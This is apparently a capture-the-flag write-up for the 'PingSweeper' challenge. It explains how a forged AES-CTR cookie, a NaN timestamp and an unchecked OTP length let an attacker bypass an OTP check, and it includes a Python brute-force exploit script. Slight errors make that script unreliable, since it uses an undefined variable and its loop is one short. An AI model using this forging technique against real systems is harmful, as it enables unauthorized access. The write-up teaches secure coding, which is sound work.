PingSweeper

Description

problem description

Solution

Didn't solve this challenge in the intentend way (SQL injection), but the challenge's category is "code review" so any vulnerability we find is fair game, right? :-)

We guessed that we need to somehow send an OTP to the webapp which will be accepted in order to get back the flag, and indeed and the code for the endpoint "/api/confimOtm" reads:

const express = require('express');
const router = express.Router();
const orm = require('../models/index');
const config = require("../config/config");
const crypto = require('crypto');
const endpointsModel = orm.import('../models/endpoints');
const aes256 = require('aes256');
const fetch = require('node-fetch');

const key = config.AES.key;
const adminPhone = config.adminPhone;
const flag = config.flag;
...
...
router.post('/confirmOtp', function (req, res) {
  try {
    // Global, use per-user cookie instead
    //orm.query('SELECT @OTP;').then(otp => console.log(otp));

    const currentStamp = Date.now();
    const otp = req.body.otp;
    const encrypted = req.cookies.otpStamp;
    const decrypted = aes256.decrypt(key, encrypted);
    const decryptedOtp = decrypted.slice(0, 8);
    const decryptedStamp = parseInt(decrypted.slice(8), 10);
    if (currentStamp >= decryptedStamp) {
      res.status(500).json({
        error: 'Session expired'
      });
    } else if (otp !== decryptedOtp) {
      res.status(500).json({
        error: 'Incorrect OTP'
      });
    } else {
      res.json({
        flag
      });
    }
  } catch (e) {
    res.status(500).json({
      error: 'Bad data'
    });
  }
});

Lets walk the confirmation method logic:

  1. Gets the current millisecond epoch time, stores in currentStamp.
  2. Gets the otp we posted in the request body, storse in otp.
  3. Gets the otpStamp cookie:
    1. Decrypt it through aes256 module using a secret key getting a plaintext.
    2. The first 8 bytes of the plaintext is considered the decryptedOtp.
    3. All the rest bytes in the plaintext from the 9th byte onward is parsed as int of base 10 and called decryptedStamp.
  4. If the currentStamp is greater than decryptedStamp return 'Session expired' error.
  5. If the otp is not equal to the decryptedOtp return 'Incorrect OTP' error.
  6. Return the flag.
  7. If any error occur in any pervious step return 'Bad data' error.

We need to pass only 2 if statements - timestamp compare and otp compare, and also we cannot raise any exception, let's find out a way to break this and get the flag.

Looking at aes256 code we find out that:

We found the first mistake: the otpStamp cookie is not integrity protected! This allow us to craft this cookie at will. Side note: CTR is also malleable but we will not use this useful property here.

Keeping our new power in mind we can now look at the first if statement, we look at parseInt at MDN which tells us that we might get a NaN.

If we can get decryptedStamp to be a NaN we will pass the first if statement as whatever number currentStamp will be it will NOT be greater or equal to NaN. We check in browser console:

> parseInt('', 10)
NaN

We conclude that the second mistake that this code is missing a check that decryptedStamp is an actual number and not NaN.

The last if statement is just comparing the otp from the posted form against the decryptedOtp as a byte string. There is NO check that the otp length is 8 bytes!!! This is the last mistake we needed!

We can just send 1 byte of ciphertext and send an otp of one byte of '0'. We will need to do this maximum of 256 requests as we don't know the relevant keysteam byte which is xor'ed with the provided byte through our cookie.

The expliot code is:

import requests
import sys

from base64 import b64encode
from urllib.parse import quote

url = "https://pingsweeper.appsecil.ctf.today/api/confirmOtp"

headers = {
    "Accept": "*/*",
    "Host": "pingsweeper.appsecil.ctf.today",
    "Origin": "https://pingsweeper.appsecil.ctf.today"
}

s = requests.Session()
s.headers = headers

def confirm(otp):
    r = s.post(url_confirm, data={"otp": otp})
    if r.status_code == 200:
        print(r.json()['flag'])
        print()
        sys.exit(0)

def setOTP(iv, code, ts):
    otpCookie = iv + code + ts
    s.cookies.set('otpStamp', quote(b64encode(otpCookie)), domain='pingsweeper.appsecil.ctf.today')

def setUuid(uuid):
    s.cookies.set('uuid', uuid, domain='pingsweeper.appsecil.ctf.today')

try:
    setUuid('b3f463bf-9675-498e-befd-10213a55931a')
    iv, code, ks = b'\x00' * 16, b'', b''
    otp = ''
    for c in range(255):
        setOTP(iv, bytes([c]), ks)
        confirm('0')
    print('Failed to get the flag')
except KeyboardInterrupt:
    pass

Running this code we get:

AppSec-IL{SH0u1d_H4v3_US3d_4_pR3p4R3d_ST4Tm3Nt}

Which indeed confirm, no pan intended, that we solved this challenge not in the intended way. Might have been Validated your inputs! and Protect your cookies integrity!. Ta ta.